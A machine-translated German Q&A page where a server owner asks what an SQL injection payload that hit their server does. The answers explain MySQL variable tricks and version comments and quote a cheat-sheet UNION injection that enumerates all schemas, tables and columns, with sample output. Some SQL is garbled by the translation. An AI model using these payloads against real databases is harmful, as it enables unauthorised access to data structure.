it-swarm.com.de

Grundlegendes zur SQL-Injection-Nutzlast

Mein Server wurde von der folgenden SQL-Injection-Nutzlast betroffen: -

((/*!12345sELecT*/(@)from(/*!12345sELecT*/(@:=0x00),(/*!12345sELecT*/(@)from(`InFoRMAtiON_sCHeMa`.`ColUMNs`)where(`TAblE_sCHemA`=DatAbAsE/*data*/())and(@)in(@:=CoNCat(@,0x3c62723e5461626c6520466f756e64203a20,TaBLe_nAMe,0x3a3a,column_name))))a))

Wofür stehen (@) und (@: = 0x00) in dieser Nutzlast?

für die eigenständige Ausführung müssen die oben genannten Nutzdaten wie folgt ausgeführt werden:

wählen Sie ((/ ! 12345sELecT/(@) aus (/ ! 12345sELecT/(@: = 0x00), (/ ! 12345sELecT/( @)von(InFoRMAtiON_sCHeMa.ColUMNs) wobei (TAblE_sCHemA = DatAbAsE/Daten/()) und (@) in (@: = CoNCat (@, 0x3c62723e5461626c6520466f756e64203a20, TaBLe_nAMe, 0x3a3a, Spaltenname))) a));

Die Nutzdaten hatten den Syntaxfehler.

25
Aayush

Wofür stehen (@) und (@: = 0x00) in dieser Nutzlast?

  • @ - ist der Variablenname
  • @:=0x00 - ist die Zuordnung von Null zu dieser Variablen.

Hinweis: := ist der Zuweisungsoperator

Vielen Dank für @Frank Cedeno und @strnk für ihre Fragen und Antworten in den Kommentaren.

@Frank Cedeno - Wie/! 12345sELecT/wird ausgewählt?

@strnk - Dies ist eine MySQL-spezifische Erweiterung für SQL-Kommentare , das sELecT ist nur in der Abfrage enthalten, wenn die Serverversion größer oder gleich 12345 (1.23.45) ist. Daher werden Nicht-MySQL-Server herausgefiltert

Weitere Informationen:

Von websec sql_injection :

Mehrere Tabellen/Spalten gleichzeitig abrufen

SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x

Beispiel:

SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>[email protected]) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ] >',table_name,' > ',column_name))))x), 4--+';

Ausgabe:

[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED

Diese Stackoverflow-Antwort erklärt den SQL-Code:

Zunächst würde ich die Abfrage durch Neuformatierung ein wenig lesbarer machen:

1) SELECT (SELECT (@)
2)         FROM (SELECT (@:=0x00),
3)                      (SELECT (@)
4)                       FROM (information_schema.columns)
5)                       WHERE (table_schema >= @)
6)                       AND   (@) IN (@:=CONCAT(@,0x3C,0x62,0x72,0x3E,' [ ',table_schema,' ] > ',table_name,' > ',column_name))
7)                       )
8)               )
9)        a);

Die Zuordnung von @ lautet wie folgt:

  1. In Zeile 3 erhält es den Wert 0x00 (Dezimal: 0)
  2. In Zeile 5 wird dieser Wert für größer als (table_schema> = 0) verwendet.
  3. Zeile 6 ist eine Möglichkeit, jedes Schema, jede Tabelle und jeden Spaltennamen in @ zu verknüpfen
  4. @ wird in Zeile 1 zurückgegeben und enthält eine verkettete Liste Ihrer Strukturen

In Zeile 6 ein zusätzliches <br> (0x3C, 0x62,0x72,0x3E) wird der Variablen hinzugefügt, um die Ausgabe besser lesbar zu machen

29
Yaron